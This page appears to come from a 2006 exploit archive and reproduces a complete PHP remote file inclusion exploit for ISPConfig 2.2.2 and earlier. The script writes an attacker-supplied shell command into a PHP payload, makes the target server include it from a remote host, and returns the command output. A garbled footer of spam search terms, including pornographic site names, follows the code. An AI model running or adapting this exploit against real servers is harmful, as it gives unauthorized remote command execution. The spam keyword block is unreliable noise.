about advertise contact
Search: Home Vulnerabilities Exploits News Articles RSS Feeds Archive

exploits , vulnerabilities , articles , ISPConfig <= 2.2.2 (session.inc.php) Remote File Inclusion Exploit



2006-05-07 ISPConfig <= 2.2.2 (session.inc.php) Remote File Inclusion Exploit
Rated as : High Risk

<?php
/*
ISPConfig Remote File Inclusion Exploit c0ded by ReZEN
Sh0uts: xorcrew.net, ajax, gml, #subterrain, My gf
url:  http://www.xorcrew.net/ReZEN

example:
turl:
http://www.target.com/lib/session.inc.php?go_info[server][classes_root]=
hurl: http://www.pwn3d.com/evil.txt?

*/

$cmd = $_POST["cmd"];
$turl = $_POST["turl"];
$hurl = $_POST["hurl"];

$form= "<form method=\"post\"
action=\"".$PHP_SELF."\">"
    ."turl:<br><input type=\"text\"
name=\"turl\" size=\"90\"
value=\"".$turl."\"><br>"
    ."hurl:<br><input type=\"text\"
name=\"hurl\" size=\"90\"
value=\"".$hurl."\"><br>"
    ."cmd:<br><input type=\"text\"
name=\"cmd\" size=\"90\"
value=\"".$cmd."\"><br>"
    ."<input type=\"submit\" value=\"Submit\"
name=\"submit\">"
    ."</form><HR WIDTH=\"650\"
ALIGN=\"LEFT\">";

if (!isset($_POST['submit'])) 
{

echo $form;

}else{

$file = fopen ("test.txt", "w+");

fwrite($file, "<?php system(\"echo ++BEGIN++\");
system(\"".$cmd."\"); 
system(\"echo ++END++\"); ?>");
fclose($file);

$file = fopen ($turl.$hurl, "r");
if (!$file) {
    echo "<p>Unable to get output.\n";
    exit;
}

echo $form;

while (!feof ($file)) {
    $line .= fgets ($file, 1024)."<br>";
    }
$tpos1 = strpos($line, "++BEGIN++");
$tpos2 = strpos($line, "++END++");
$tpos1 = $tpos1+strlen("++BEGIN++");
$tpos2 = $tpos2-$tpos1;
$output = substr($line, $tpos1, $tpos2);
echo $output;

}
?>
securitydot.net - 2006-05-07

Advertising

Copyright 2007, SecurityDot
Mon, 14 Dec 2009 23:05:16 +0000

Friends : milw0rm.com , secunia.com , securityfocus.com
GOOGLE
NEWS EXPLOITS VULNS
exploits , 0day exploits , newest exploits , vulnerabilities , newest vulnerabilities , 0day vulnerabilities , newest articles , linux articles , articles
SEXWALLPAP phgmysig Brazzers.c See xxx co 200 /compo vimy south-inda Www fullse Www.tube8. shop340224 WWW.HOTGIR pinaysexsc news for c WWW.HOTGIR tin gusi g club peter www.sexira dxf works www.gzsang news for c www.trish Pornol Gallery se Pamela ***tube.co Www.Yahoom Wap sixy c uggsbestbu sexgirlvid 555555 Www varisi WWW.SIMRAN saxy girl lo823l qnx www.dglsqq /component PICTURE vadimII flash acti teen+sex datalifee girlboysex www.sex mo Gadis smu girlboysex www.dglsqq Www.asians www.asians uggbestbuy